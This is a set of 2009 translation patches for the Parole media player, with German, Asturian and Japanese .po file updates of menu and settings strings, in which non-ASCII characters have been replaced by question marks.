+#: ../data/interfaces/parole.ui.h:22
+msgid "_Edit"
+msgstr "_Bearbeiten"
+
+#: ../data/interfaces/parole.ui.h:23
+msgid "_Help"
+msgstr "_Hilfe"
+
+#: ../data/interfaces/parole.ui.h:24
+msgid "_Media"
+msgstr "_Medien"
+
+#: ../data/interfaces/parole.ui.h:25
+msgid "_Open location"
+msgstr "_Ort ?ffnen"
+
+#: ../data/interfaces/parole.ui.h:26
+msgid "_View"
+msgstr "_Ansicht"
+
+#: ../data/interfaces/plugins.ui.h:1
+msgid "<b>Author:</b>"
+msgstr "<b>Autor:</b>"
+
+#: ../data/interfaces/plugins.ui.h:2
+msgid "<b>Description:</b>"
+msgstr "<b>Beschreibung:</b>"
+
+#: ../data/interfaces/plugins.ui.h:3
+msgid "<b>Site:</b>"
+msgstr "<b>Seite:</b>"
+
+#: ../data/interfaces/plugins.ui.h:4
+msgid "Enabled"
+msgstr "Aktiviert"
+
+#: ../data/interfaces/plugins.ui.h:5
+msgid "Media Player plugins"
+msgstr "Medien-Abspieler-Plugins"
+
+#: ../data/interfaces/plugins.ui.h:6
+msgid "Parole Plugins"
+msgstr "Parole-Plugins"
+
+#: ../data/interfaces/plugins.ui.h:7
+msgid "Plugin"
+msgstr "Plugin"
+
+#: ../data/interfaces/parole-settings.ui.h:1
+msgid "<b>Audio</b>"
+msgstr "<b>Audio</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:2
+msgid "<b>Display</b>"
+msgstr "<b>Anzeige</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:3
+msgid "<b>Subtitles</b>"
+msgstr "<b>Untertitel</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:4
+msgid "Automatically load subtitles when playing movie file"
+msgstr "Untertitel automatisch laden, wenn ein Film wiedergegeben wird"
+
+#: ../data/interfaces/parole-settings.ui.h:5
+msgid "Brightness:"
+msgstr "Helligkeit:"
+
+#: ../data/interfaces/parole-settings.ui.h:6
+msgid "Contrast:"
+msgstr "Kontrast:"
+
+#: ../data/interfaces/parole-settings.ui.h:7
+msgid "Enable visualization when playing audio file"
+msgstr "Visuelle Effekte anzeigen, wenn eine Audio-Datei wiedergegeben wird"
+
+#: ../data/interfaces/parole-settings.ui.h:8
+msgid "Encoding: "
+msgstr "Kodierung:"
+
+#: ../data/interfaces/parole-settings.ui.h:9
+msgid "Font:"
+msgstr "Schrift:"
+
+#: ../data/interfaces/parole-settings.ui.h:10
+msgid "Hue:"
+msgstr "Farbton:"
+
+#: ../data/interfaces/parole-settings.ui.h:11
+msgid "Media Player Settings"
+msgstr "Medien-Abspieler-Einstellungen"
+
+#: ../data/interfaces/parole-settings.ui.h:12
+msgid "Parole Settings"
+msgstr "Parole-Einstellungen"
+
+#: ../data/interfaces/parole-settings.ui.h:13
+msgid "Reset To Defaults"
+msgstr "Auf Vorgaben zur?cksetzen"
+
+#: ../data/interfaces/parole-settings.ui.h:14
+msgid "Saturation:"
+msgstr "S?ttigung:"
+
+#: ../data/interfaces/parole-settings.ui.h:15
+msgid "Visualization type:"
+msgstr "Visualisierungstyp:"
+
+#: ../data/interfaces/save-playlist.ui.h:1
+msgid "By Extension"
+msgstr "Nach Dateierweiterung"
+
+#: ../data/interfaces/save-playlist.ui.h:2
+msgid "Select File Types (By Extension)"
+msgstr "Dateitypen ausw?hlen (nach Erweiterung)"
+
+#: ../parole/main.c:53
+#, c-format
+msgid ""
+"\n"
+"Parole Media Player %s\n"
+"\n"
+"Part of the Xfce Goodies Project\n"
+"http://goodies.xfce.org\n"
+"\n"
+"Licensed under the GNU GPL.\n"
+"\n"
+msgstr ""
+"\n"
+"Parole Medien-Abspieler %s\n"
+"\n"
+"Teil des Projekts Xfce-Goodies\n"
+"http://goodies.xfce.org\n"
+"\n"
+"Lizensiert unter der GNU GPL.\n"
+"\n"
+
+#: ../parole/main.c:184
+msgid "Open a new instance"
+msgstr "Eine neue Instanz ?ffnen"
+
+#: ../parole/main.c:185
+msgid "Play or pause if already playing"
+msgstr "Wiedergabe (oder Pause, falls Wiedergabe l?uft)"
+
+#: ../parole/main.c:186
+msgid "Stop playing"
+msgstr "Wiedergabe anhalten"
+
+#: ../parole/main.c:187
+msgid "Next track"
+msgstr "Nachfolgender Titel"
+
+#: ../parole/main.c:188
+msgid "Previous track"
+msgstr "Vorheriger Titel"
+
+#: ../parole/main.c:189
+msgid "Seek forward"
+msgstr "Vorspulen"
+
+#: ../parole/main.c:190
+msgid "Seek Backward"
+msgstr "Zur?ckspulen"
+
+#: ../parole/main.c:191
+msgid "Raise volume"
+msgstr "Lautst?rke erh?hen"
+
+#: ../parole/main.c:192
+msgid "Lower volume"
+msgstr "Lautst?rke senken"
+
+#: ../parole/main.c:193
+msgid "Mute volume"
+msgstr "Stummschalten"
+
+#: ../parole/main.c:194
+msgid "Version information"
+msgstr "Versionsinformation"
+
+#: ../parole/main.c:196
+msgid "Media to play"
+msgstr "Medien zum Abspielen"
+
+#: ../parole/main.c:231
+#, c-format
+msgid "Parole is already running, use -i to open a new instance\n"
+msgstr ""
+"Parole l?uft bereits, verwenden Sie -i, um eine neue Instanz zu ?ffnen\n"
+
+#: ../parole/parole-gst.c:1289
+msgid ""
+"Unable to load playbin GStreamer plugin, check your GStreamer installation"
+msgstr ""
+"Playbin-GStreamer-Plugin kann nicht geladen werden, ?berpr?fen Sie Ihre "
+"GStreamer-Installation"
+
+#: ../parole/parole-gst.c:1305
+msgid "Unable to load video GStreamer plugin, check your GStreamer installation"
+msgstr ""
+"Video-GStreamer-Plugin kann nicht geladen werden, ?berpr?fen Sie Ihre "
+"GStreamer-Installation"
+
+#: ../parole/parole-gst.c:1501
+msgid "The stream is taking too much time to load"
+msgstr "Der Stream ben?tigt zu viel Zeit zum Laden"
+
+#: ../parole/parole-gst.c:1501
+msgid "Stop"
+msgstr "Stop"
+
+#: ../parole/parole-mediachooser.c:155
+msgid "Add media files"
+msgstr "Mediendateien hinzuf?gen"
+
+#: ../parole/parole-mediachooser.c:174
+msgid "Add"
+msgstr "Hinzuf?gen"
+
+#: ../parole/parole-medialist.c:445
+msgid "Error saving playlist file"
+msgstr "Fehler beim Speichern der Wiedergabelistendatei"
+
+#: ../parole/parole-medialist.c:445
+msgid "Permission denied"
+msgstr "Erlaubnis verweigert"
+
+#: ../parole/parole-medialist.c:454
+msgid "Unknown playlist format, Please select a support playlist format"
+msgstr ""
+"Unbekanntes Wiedergabelistenformat, bitte w?hlen Sie ein unterst?tztes Format"
+
+#: ../parole/parole-medialist.c:520 ../parole/parole-player.c:1591
+msgid "Playlist"
+msgstr "Wiedergabeliste"
+
+#: ../parole/parole-medialist.c:527
+msgid "M3U Playlists"
+msgstr "M3U-Wiedergabelisten"
+
+#: ../parole/parole-medialist.c:535
+msgid "PLS Playlists"
+msgstr "PLS-Wiedergabelisten"
+
+#: ../parole/parole-medialist.c:543
+msgid "Advanced Stream Redirector"
+msgstr "Advanced Stream Redirector"
+
+#: ../parole/parole-medialist.c:551
+msgid "Shareable Playlist"
+msgstr "Gemeinsame Wiedergabeliste"
+
+#: ../parole/parole-medialist.c:866
+msgid "Remember playlist"
+msgstr "Wiedergabeliste speichern"
+
+#: ../parole/parole-medialist.c:1016
+msgid "Media list"
+msgstr "Medienliste"
+
+#: ../parole/parole-player.c:297
+msgid "Hide playlist"
+msgstr "Wiedergabeliste verbergen"
+
+#: ../parole/parole-player.c:306
+msgid "Show playlist"
+msgstr "Wiedergabeliste anzeigen"
+
+#: ../parole/parole-player.c:521
+msgid "Media stream is not seekable"
+msgstr "Medien-Stream ist nicht durchsuchbar"
+
+#.
+#. * Next chapter menu item
+#.
+#: ../parole/parole-player.c:1047 ../parole/parole-disc-menu.c:122
+msgid "Next Track"
+msgstr "Nachfolgender Titel"
+
+#.
+#. * Previous chapter menu item
+#.
+#: ../parole/parole-player.c:1059 ../parole/parole-disc-menu.c:123
+msgid "Previous Track"
+msgstr "Vorheriger Titel"
+
+#: ../parole/parole-statusbar.c:60
+msgid "Buffering"
+msgstr "Puffervorgang"
+
+#: ../parole/parole-statusbar.c:77
+msgid "Stopped"
+msgstr "Angehalten"
+
+#: ../parole/parole-statusbar.c:81
+msgid "Finished"
+msgstr "Beendet"
+
+#: ../parole/parole-statusbar.c:88 ../parole/parole-statusbar.c:96
+msgid "Paused"
+msgstr "Pause"
+
+#: ../parole/parole-statusbar.c:88
+msgid "Playing"
+msgstr "Wiedergabe"
+
+#: ../parole/parole-statusbar.c:117
+msgid "Live stream:"
+msgstr "Live-Stream:"
+
+#: ../parole/parole-filters.c:57
+msgid "Audio"
+msgstr "Audio"
+
+#: ../parole/parole-filters.c:75
+msgid "Video"
+msgstr "Video"
+
+#: ../parole/parole-filters.c:93
+msgid "Audio and video"
+msgstr "Audio und Video"
+
+#: ../parole/parole-filters.c:111
+msgid "All supported files"
+msgstr "Unterst?tzte Dateien"
+
+#: ../parole/parole-filters.c:127
+msgid "Playlist files"
+msgstr "Wiedergabelisten-Dateien"
+
+#: ../parole/parole-about.c:56
+msgid "Author/Maintainer"
+msgstr "Autor/Betreuer"
+
+#: ../parole/parole-about.c:62
+#, c-format
+msgid "Translator (%s)"
+msgstr "?bersetzer (%s)"
+
+#: ../parole/parole-disc.c:202
+msgid "Play Disc"
+msgstr "Medium abspielen"
+
+#: ../parole/parole-subtitle-encoding.c:165
+msgid "Current Locale"
+msgstr "Derzeitige Standorteinstellungen"
+
+#: ../parole/parole-subtitle-encoding.c:168
+#: ../parole/parole-subtitle-encoding.c:170
+#: ../parole/parole-subtitle-encoding.c:172
+#: ../parole/parole-subtitle-encoding.c:174
+msgid "Arabic"
+msgstr "Arabisch"
+
+#: ../parole/parole-subtitle-encoding.c:177
+msgid "Armenian"
+msgstr "Armenisch"
+
+#: ../parole/parole-subtitle-encoding.c:180
+#: ../parole/parole-subtitle-encoding.c:182
+#: ../parole/parole-subtitle-encoding.c:184
+msgid "Baltic"
+msgstr "Baltisch"
+
+#: ../parole/parole-subtitle-encoding.c:187
+msgid "Celtic"
+msgstr "Keltisch"
+
+#: ../parole/parole-subtitle-encoding.c:190
+#: ../parole/parole-subtitle-encoding.c:192
+#: ../parole/parole-subtitle-encoding.c:194
+#: ../parole/parole-subtitle-encoding.c:196
+msgid "Central European"
+msgstr "Mitteleurop?isch"
+
+#: ../parole/parole-subtitle-encoding.c:199
+#: ../parole/parole-subtitle-encoding.c:201
+#: ../parole/parole-subtitle-encoding.c:203
+#: ../parole/parole-subtitle-encoding.c:205
+msgid "Chinese Simplified"
+msgstr "Chinesisch (vereinfacht)"
+
+#: ../parole/parole-subtitle-encoding.c:208
+#: ../parole/parole-subtitle-encoding.c:210
+#: ../parole/parole-subtitle-encoding.c:212
+msgid "Chinese Traditional"
+msgstr "Chinesisch (traditionell)"
+
+#: ../parole/parole-subtitle-encoding.c:215
+msgid "Croatian"
+msgstr "Kroatisch"
+
+#: ../parole/parole-subtitle-encoding.c:218
+#: ../parole/parole-subtitle-encoding.c:220
+#: ../parole/parole-subtitle-encoding.c:222
+#: ../parole/parole-subtitle-encoding.c:224
+#: ../parole/parole-subtitle-encoding.c:226
+#: ../parole/parole-subtitle-encoding.c:228
+msgid "Cyrillic"
+msgstr "Kyrillisch"
+
+#: ../parole/parole-subtitle-encoding.c:231
+msgid "Cyrillic/Russian"
+msgstr "Kyrillisch/Russisch"
+
+#: ../parole/parole-subtitle-encoding.c:234
+#: ../parole/parole-subtitle-encoding.c:236
+msgid "Cyrillic/Ukrainian"
+msgstr "Kyrillisch/Ukrainisch"
+
+#: ../parole/parole-subtitle-encoding.c:239
+msgid "Georgian"
+msgstr "Georgisch"
+
+#: ../parole/parole-subtitle-encoding.c:242
+#: ../parole/parole-subtitle-encoding.c:244
+#: ../parole/parole-subtitle-encoding.c:246
+msgid "Greek"
+msgstr "Griechisch"
+
+#: ../parole/parole-subtitle-encoding.c:249
+msgid "Gujarati"
+msgstr "Gujarati"
+
+#: ../parole/parole-subtitle-encoding.c:252
+msgid "Gurmukhi"
+msgstr "Gurmukhi"
+
+#: ../parole/parole-subtitle-encoding.c:255
+#: ../parole/parole-subtitle-encoding.c:257
+#: ../parole/parole-subtitle-encoding.c:259
+#: ../parole/parole-subtitle-encoding.c:261
+msgid "Hebrew"
+msgstr "Hebr?isch"
+
+#: ../parole/parole-subtitle-encoding.c:264
+msgid "Hebrew Visual"
+msgstr "Hebr?isch (visuell)"
+
+#: ../parole/parole-subtitle-encoding.c:267
+msgid "Hindi"
+msgstr "Hindi"
+
+#: ../parole/parole-subtitle-encoding.c:270
+msgid "Icelandic"
+msgstr "Isl?ndisch"
+
+#: ../parole/parole-subtitle-encoding.c:273
+#: ../parole/parole-subtitle-encoding.c:275
+#: ../parole/parole-subtitle-encoding.c:277
+msgid "Japanese"
+msgstr "Japanisch"
+
+#: ../parole/parole-subtitle-encoding.c:280
+#: ../parole/parole-subtitle-encoding.c:282
+#: ../parole/parole-subtitle-encoding.c:284
+#: ../parole/parole-subtitle-encoding.c:286
+msgid "Korean"
+msgstr "Koreanisch"
+
+#: ../parole/parole-subtitle-encoding.c:289
+msgid "Nordic"
+msgstr "Nordisch"
+
+#: ../parole/parole-subtitle-encoding.c:292
+msgid "Persian"
+msgstr "Persisch"
+
+#: ../parole/parole-subtitle-encoding.c:295
+#: ../parole/parole-subtitle-encoding.c:297
+msgid "Romanian"
+msgstr "Rum?nisch"
+
+#: ../parole/parole-subtitle-encoding.c:300
+msgid "South European"
+msgstr "S?deurop?isch"
+
+#: ../parole/parole-subtitle-encoding.c:303
+msgid "Thai"
+msgstr "Thai"
+
+#: ../parole/parole-subtitle-encoding.c:306
+#: ../parole/parole-subtitle-encoding.c:308
+#: ../parole/parole-subtitle-encoding.c:310
+#: ../parole/parole-subtitle-encoding.c:312
+msgid "Turkish"
+msgstr "T?rkisch"
+
+#: ../parole/parole-subtitle-encoding.c:315
+#: ../parole/parole-subtitle-encoding.c:317
+#: ../parole/parole-subtitle-encoding.c:319
+#: ../parole/parole-subtitle-encoding.c:321
+#: ../parole/parole-subtitle-encoding.c:323
+msgid "Unicode"
+msgstr "Unicode"
+
+#: ../parole/parole-subtitle-encoding.c:326
+#: ../parole/parole-subtitle-encoding.c:328
+#: ../parole/parole-subtitle-encoding.c:330
+#: ../parole/parole-subtitle-encoding.c:332
+#: ../parole/parole-subtitle-encoding.c:334
+msgid "Western"
+msgstr "Westlich"
+
+#: ../parole/parole-subtitle-encoding.c:337
+#: ../parole/parole-subtitle-encoding.c:339
+#: ../parole/parole-subtitle-encoding.c:341
+msgid "Vietnamese"
+msgstr "Vietnamesisch"
+
+#: ../parole/parole-open-location.c:181
+msgid "Open location..."
+msgstr "Ort ?ffnen ?"
+
+#: ../parole/parole-open-location.c:186
+msgid "<b>Open location of media file or live stream:</b>"
+msgstr "<b>Ort einer Mediendatei oder eines Live-Streams ?ffnen:</b>"
+
+#: ../parole/parole-open-location.c:205
+msgid "Clear history"
+msgstr "Chronik leeren"
+
+#: ../parole/parole-disc-menu.c:130
+msgid "Playing Track"
+msgstr "Titel wird abgespielt"
+
+#: ../parole/parole-disc-menu.c:194
+#, c-format
+msgid "Track %i"
+msgstr "Titel %i"
+
+#: ../parole/parole-plugins-manager.c:227
+#: ../parole/parole-plugins-manager.c:285
+msgid "Visit Website"
+msgstr "Web-Seite besuchen"
+
+#: ../plugins/properties/stream-properties.c:121
+#: ../plugins/properties/stream-properties.c:122
+#: ../plugins/properties/stream-properties.c:123
+#: ../plugins/properties/stream-properties.c:124
+msgid "Unknown"
+msgstr "Unbekannt"
+
+#: ../plugins/properties/stream-properties.c:220
+msgid "Title:"
+msgstr "Titel:"
+
+#: ../plugins/properties/stream-properties.c:243
+msgid "Artist:"
+msgstr "Interpret:"
+
+#: ../plugins/properties/stream-properties.c:266
+msgid "Album:"
+msgstr "Album:"
+
+#: ../plugins/properties/stream-properties.c:289
+msgid "Year:"
+msgstr "Jahr:"
+
+#: ../plugins/properties/stream-properties.c:307
+msgid "General"
+msgstr "Allgemein"
+
+#: ../plugins/properties/stream-properties.c:354
+msgid "Stream doesn't support tags changes"
+msgstr "Stream unterst?tzt keine ?nderungen der Tags"
+
+#: ../plugins/properties/stream-properties.c:361
+msgid "Save media tags changes"
+msgstr "?nderungen der Medien-Tags speichern"
+
+#. Construct function
+#: ../plugins/properties/stream-properties.c:490
+msgid "Properties"
+msgstr "Eigenschaften"
+
+#. Title
+#: ../plugins/properties/stream-properties.c:491
+msgid "Read media properties"
+msgstr "Medieneigenschaften lesen"
+
+#: ../plugins/tray/tray-icon.c:222
+msgid "<b>Playing:</b>"
+msgstr "<b>Wiedergabe:</b>"
+
+#: ../plugins/tray/tray-icon.c:222
+msgid "<b>Duration:</b>"
+msgstr "<b>Dauer:</b>"
+
+#: ../plugins/tray/tray-icon.c:373
+msgid "Tray icon plugin"
+msgstr "Benachrichtigungsfeld-Plugin"
+
+#: ../plugins/tray/tray-icon.c:383
+msgid "Enable notification"
+msgstr "Benachrichtigungen aktivieren"
+
+#: ../plugins/tray/tray-icon.c:392
+msgid "Always minimize to tray when window is closed"
+msgstr ""
+"Immer ins Benachrichtigungsfeld minimieren, wenn das Fenster geschlossen wird"
+
+#: ../plugins/tray/tray-icon.c:431
+msgid "Minimize to tray?"
+msgstr "Ins Benachrichtigungsfeld minimieren?"
+
+#: ../plugins/tray/tray-icon.c:437
+msgid "Minimize to tray"
+msgstr "Ins Benachrichtigungsfeld minimieren"
+
+#: ../plugins/tray/tray-icon.c:453
+msgid "Are you sure you want to quit Parole"
+msgstr "Sind Sie sicher, dass Sie Parole beenden wollen?"
+
+#: ../plugins/tray/tray-icon.c:457
+msgid "Remember my choice"
+msgstr "Auswahl merken"
+
+#. Construct function
+#: ../plugins/tray/tray-icon.c:544
+msgid "Tray icon"
+msgstr "Symbol im Benachrichtigungsfeld"
+
+#. Title
+#: ../plugins/tray/tray-icon.c:545
+msgid "Show icon in the system tray"
+msgstr "Symbol im Benachrichtigungsfeld anzeigen"
+
+#. Construct function
+#: ../plugins/window-title/window-title.c:102
+msgid "Window title"
+msgstr "Fenstertitel"
+
+#. Title
+#: ../plugins/window-title/window-title.c:103
+msgid ""
+"Set the main window name to the current\n"
+" playing media name."
+msgstr ""
+"Fenstertitel auf den Namen des derzeit\n"
+" abgespielten Mediums setzen."
--
cgit v0.8.2.1

parole-0.1.90-update-asturian-translation.patch:
 ast.po |   86 ++++++++++++++++++++++++++++-------------------------------------
 1 file changed, 38 insertions(+), 48 deletions(-)

--- NEW FILE parole-0.1.90-update-asturian-translation.patch ---
>From b9fa73571f68b49b0836404aac4fe2a8419efba8 Mon Sep 17 00:00:00 2001
From: I?igo Varela <malditoastur at gmail.com>
Date: Tue, 06 Oct 2009 11:58:54 +0000
Subject: l10n: Updates to Asturian (ast) translation

Transmitted-via: Transifex (translations.xfce.org)
---
diff --git a/po/ast.po b/po/ast.po
index 09351ad..ae28204 100644
--- a/po/ast.po
+++ b/po/ast.po
@@ -7,8 +7,8 @@ msgid ""
 msgstr ""
 "Project-Id-Version: ast\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-10-06 10:11+0000\n"
-"PO-Revision-Date: 2009-09-03 13:51+0100\n"
+"POT-Creation-Date: 2009-10-06 10:12+0000\n"
+"PO-Revision-Date: 2009-10-06 13:58+0100\n"
 "Last-Translator: astur <malditoastur at gmail.com>\n"
 "Language-Team: Asturian <alministradores at softastur.org>\n"
 "MIME-Version: 1.0\n"
@@ -54,7 +54,8 @@ msgstr "Media player"
 msgid "Mute"
 msgstr "Silenciar"
 
-#: ../data/interfaces/parole.ui.h:10 ../parole/parole-player.c:1047
+#: ../data/interfaces/parole.ui.h:10
+#: ../parole/parole-player.c:1047
 #: ../parole/parole-disc-menu.c:113
 msgid "Next Chapter"
 msgstr "Siguiente Cap?tulu Chapter"
@@ -63,8 +64,10 @@ msgstr "Siguiente Cap?tulu Chapter"
 msgid "None"
 msgstr "Deng?n"
 
-#: ../data/interfaces/parole.ui.h:12 ../data/desktop/parole.desktop.in.in.h:1
-#: ../parole/parole-player.c:234 ../parole/parole-about.c:51
+#: ../data/interfaces/parole.ui.h:12
+#: ../data/desktop/parole.desktop.in.in.h:1
+#: ../parole/parole-player.c:234
+#: ../parole/parole-about.c:51
 #: ../plugins/window-title/window-title.c:40
 msgid "Parole Media Player"
 msgstr "Parole Media Player"
@@ -73,7 +76,8 @@ msgstr "Parole Media Player"
 msgid "Plugins"
 msgstr "Plugins"
 
-#: ../data/interfaces/parole.ui.h:14 ../parole/parole-player.c:1059
+#: ../data/interfaces/parole.ui.h:14
+#: ../parole/parole-player.c:1059
 #: ../parole/parole-disc-menu.c:114
 msgid "Previous Chapter"
 msgstr "Cap?tulu Previu"
@@ -135,14 +139,12 @@ msgid "<b>Site:</b>"
 msgstr "<b>Sitiu:</b>"
 
 #: ../data/interfaces/plugins.ui.h:4
-#, fuzzy
 msgid "Media Player plugins"
-msgstr "Axustes del Reproductor de Medios"
+msgstr "Plugins del Reproductor de Medios"
 
 #: ../data/interfaces/plugins.ui.h:5
-#, fuzzy
 msgid "Parole Plugins"
-msgstr "Preferencies de Complementos de Parole"
+msgstr "Plugins de Parole"
 
 #: ../data/interfaces/parole-settings.ui.h:1
 msgid "<b>Audio</b>"
@@ -239,42 +241,39 @@ msgstr "Abrir nueva instancia"
 
 #: ../parole/main.c:185
 msgid "Play or pause if already playing"
-msgstr ""
+msgstr "Reproducir o posar"
 
 #: ../parole/main.c:186
-#, fuzzy
 msgid "Stop playing"
-msgstr "Amosar llista de reproducci?n"
+msgstr "Detener reproducci?n"
 
 #: ../parole/main.c:187
-#, fuzzy
 msgid "Next track"
 msgstr "Siguiente pista"
 
 #: ../parole/main.c:188
-#, fuzzy
 msgid "Previous track"
 msgstr "Pista previa"
 
 #: ../parole/main.c:189
 msgid "Seek forward"
-msgstr ""
+msgstr "Guetar haza alantre"
 
 #: ../parole/main.c:190
 msgid "Seek Backward"
-msgstr ""
+msgstr "Guetar haza atr?s"
 
 #: ../parole/main.c:191
 msgid "Raise volume"
-msgstr ""
+msgstr "Xubir el volume"
 
 #: ../parole/main.c:192
 msgid "Lower volume"
-msgstr ""
+msgstr "Menor volume"
 
 #: ../parole/main.c:193
 msgid "Mute volume"
-msgstr ""
+msgstr "Silenciar"
 
 #: ../parole/main.c:194
 msgid "Version information"
@@ -290,21 +289,14 @@ msgid "Parole is already running, use -i to open a new instance\n"
 msgstr "Parole y? ta execut?ndose, use -i p'abrir una nueva instancia\n"
 
 #: ../parole/parole-gst.c:1289
-msgid ""
-"Unable to load playbin GStreamer plugin, check your GStreamer installation"
-msgstr ""
-"Nun pudo cargase'l complementu playbin GStreamer, comprebe la so instalaci?n "
-"de GStreamer"
+msgid "Unable to load playbin GStreamer plugin, check your GStreamer installation"
+msgstr "Nun pudo cargase'l complementu playbin GStreamer, comprebe la so instalaci?n de GStreamer"
 
 #: ../parole/parole-gst.c:1305
-msgid ""
-"Unable to load video GStreamer plugin, check your GStreamer installation"
-msgstr ""
-"Nun pudo cargase'l complementu video GStreamer, comprebe la so instalaci?n "
-"de GStreamer"
+msgid "Unable to load video GStreamer plugin, check your GStreamer installation"
+msgstr "Nun pudo cargase'l complementu video GStreamer, comprebe la so instalaci?n de GStreamer"
 
 #: ../parole/parole-gst.c:1501
-#, fuzzy
 msgid "The stream is taking too much time to load"
 msgstr "El fluxu ta llevando enforma tiempu pa cargar"
 
@@ -330,11 +322,10 @@ msgstr "Permisu torg?u"
 
 #: ../parole/parole-medialist.c:454
 msgid "Unknown playlist format, Please select a support playlist format"
-msgstr ""
-"Formatu de llista desconoc?u, por favor esbille una llista con formatu "
-"sofit?u t?unicamente"
+msgstr "Formatu de llista desconoc?u, por favor esbille una llista con formatu sofit?u t?unicamente"
 
-#: ../parole/parole-medialist.c:520 ../parole/parole-player.c:1591
+#: ../parole/parole-medialist.c:520
+#: ../parole/parole-player.c:1591
 msgid "Playlist"
 msgstr "Llista de reproducci?n"
 
@@ -377,14 +368,16 @@ msgstr "Nun s'alcuentra el Fluxu (stream) de Medios"
 #.
 #. * Next chapter menu item
 #.
-#: ../parole/parole-player.c:1047 ../parole/parole-disc-menu.c:122
+#: ../parole/parole-player.c:1047
+#: ../parole/parole-disc-menu.c:122
 msgid "Next Track"
 msgstr "Siguiente pista"
 
 #.
 #. * Previous chapter menu item
 #.
-#: ../parole/parole-player.c:1059 ../parole/parole-disc-menu.c:123
+#: ../parole/parole-player.c:1059
+#: ../parole/parole-disc-menu.c:123
 msgid "Previous Track"
 msgstr "Pista previa"
 
@@ -400,7 +393,8 @@ msgstr "Par?u"
 msgid "Finished"
 msgstr "Fin?u"
 
-#: ../parole/parole-statusbar.c:88 ../parole/parole-statusbar.c:96
+#: ../parole/parole-statusbar.c:88
+#: ../parole/parole-statusbar.c:96
 msgid "Paused"
 msgstr "Pos?u"
 
@@ -697,24 +691,23 @@ msgstr "Activar notificaci?n"
 
 #: ../plugins/tray/tray-icon.c:392
 msgid "Always minimize to tray when window is closed"
-msgstr ""
+msgstr "Minimizar siempres a la bandexa cuando se zarra la ventana"
 
 #: ../plugins/tray/tray-icon.c:431
 msgid "Minimize to tray?"
-msgstr ""
+msgstr "Minimizar a la bandexa?"
 
 #: ../plugins/tray/tray-icon.c:437
 msgid "Minimize to tray"
-msgstr ""
+msgstr "Minimizar a la bandexa"
 
 #: ../plugins/tray/tray-icon.c:453
 msgid "Are you sure you want to quit Parole"
-msgstr ""
+msgstr "Daveres quies quitar Parole?"
 
 #: ../plugins/tray/tray-icon.c:457
-#, fuzzy
 msgid "Remember my choice"
-msgstr "Remembrar llista de reproducci?n"
+msgstr "Remembrar la mio eleici?n"
 
 #. Construct function
 #: ../plugins/tray/tray-icon.c:544
@@ -742,12 +735,10 @@ msgstr ""
 
 #~ msgid "gtk-leave-fullscreen"
 #~ msgstr "gtk-leave-fullscreen"
-
 #~ msgid "gtk-close"
 #~ msgstr "gtk-close"
-
 #~ msgid "gtk-properties"
 #~ msgstr "gtk-properties"
-
 #~ msgid "Visite Website"
 #~ msgstr "Visite P?xina Web"
+
--
cgit v0.8.2.1

parole-0.1.90-update-japanese-translation.patch:
 ja.po |   34 +++++++++++++++-------------------
 1 file changed, 15 insertions(+), 19 deletions(-)

--- NEW FILE parole-0.1.90-update-japanese-translation.patch ---
>From 72afaf0774f8afcfbb15c8b4389282ba363bc621 Mon Sep 17 00:00:00 2001
From: Masato Hashimoto <cabezon.hashimoto at gmail.com>
Date: Tue, 06 Oct 2009 09:54:06 +0000
Subject: l10n: Updates to Japanese (ja) translation

Transmitted-via: Transifex (translations.xfce.org)
---
diff --git a/po/ja.po b/po/ja.po
index ec9472c..1da7f9c 100644
--- a/po/ja.po
+++ b/po/ja.po
@@ -8,8 +8,8 @@ msgid ""
 msgstr ""
 "Project-Id-Version: parole 0.1.90\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-10-06 10:11+0000\n"
-"PO-Revision-Date: 2009-10-06 00:40+0900\n"
+"POT-Creation-Date: 2009-10-06 18:17+0900\n"
+"PO-Revision-Date: 2009-10-06 18:17+0900\n"
 "Last-Translator: Masato Hashimoto <cabezon.hashimoto at gmail.com>\n"
 "Language-Team: Japanese <xfce-users-jp at ml.fdiary.net>\n"
 "MIME-Version: 1.0\n"
@@ -100,11 +100,11 @@ msgstr "????"
 
 #: ../data/interfaces/parole.ui.h:20
 msgid "Volume Down"
-msgstr "?????????"
+msgstr "?????????"
 
 #: ../data/interfaces/parole.ui.h:21
 msgid "Volume Up"
-msgstr "?????????"
+msgstr "?????????"
 
 #: ../data/interfaces/parole.ui.h:22
 msgid "_Edit"
@@ -135,14 +135,12 @@ msgid "<b>Site:</b>"
 msgstr "<b>???:</b>"
 
 #: ../data/interfaces/plugins.ui.h:4
-#, fuzzy
 msgid "Media Player plugins"
-msgstr "???????????"
+msgstr "??????????????"
 
 #: ../data/interfaces/plugins.ui.h:5
-#, fuzzy
 msgid "Parole Plugins"
-msgstr "Parole ???????"
+msgstr "Parole ?????"
 
 #: ../data/interfaces/parole-settings.ui.h:1
 msgid "<b>Audio</b>"
@@ -174,7 +172,7 @@ msgstr "???????????????"
 
 #: ../data/interfaces/parole-settings.ui.h:8
 msgid "Encoding: "
-msgstr "????????:"
+msgstr "????????: "
 
 #: ../data/interfaces/parole-settings.ui.h:9
 msgid "Font:"
@@ -210,7 +208,7 @@ msgstr "???"
 
 #: ../data/interfaces/save-playlist.ui.h:2
 msgid "Select File Types (By Extension)"
-msgstr "????????? (????)"
+msgstr "?????????? (????)"
 
 #: ../parole/main.c:53
 #, c-format
@@ -239,7 +237,7 @@ msgstr "????????????"
 
 #: ../parole/main.c:185
 msgid "Play or pause if already playing"
-msgstr "??????????????/??"
+msgstr "????????????/????"
 
 #: ../parole/main.c:186
 msgid "Stop playing"
@@ -299,7 +297,7 @@ msgstr ""
 msgid ""
 "Unable to load video GStreamer plugin, check your GStreamer installation"
 msgstr ""
-"video GStreamer ??????????????GStreamer ???????????"
+"video GStreamer ??????????????GStreamer ???????????"
 "?????????????????"
 
 #: ../parole/parole-gst.c:1501
@@ -693,24 +691,23 @@ msgstr "????????"
 
 #: ../plugins/tray/tray-icon.c:392
 msgid "Always minimize to tray when window is closed"
-msgstr ""
+msgstr "???????????????????????"
 
 #: ../plugins/tray/tray-icon.c:431
 msgid "Minimize to tray?"
-msgstr ""
+msgstr "????????????"
 
 #: ../plugins/tray/tray-icon.c:437
 msgid "Minimize to tray"
-msgstr ""
+msgstr "???????"
 
 #: ../plugins/tray/tray-icon.c:453
 msgid "Are you sure you want to quit Parole"
-msgstr ""
+msgstr "Parole ??????????????"
 
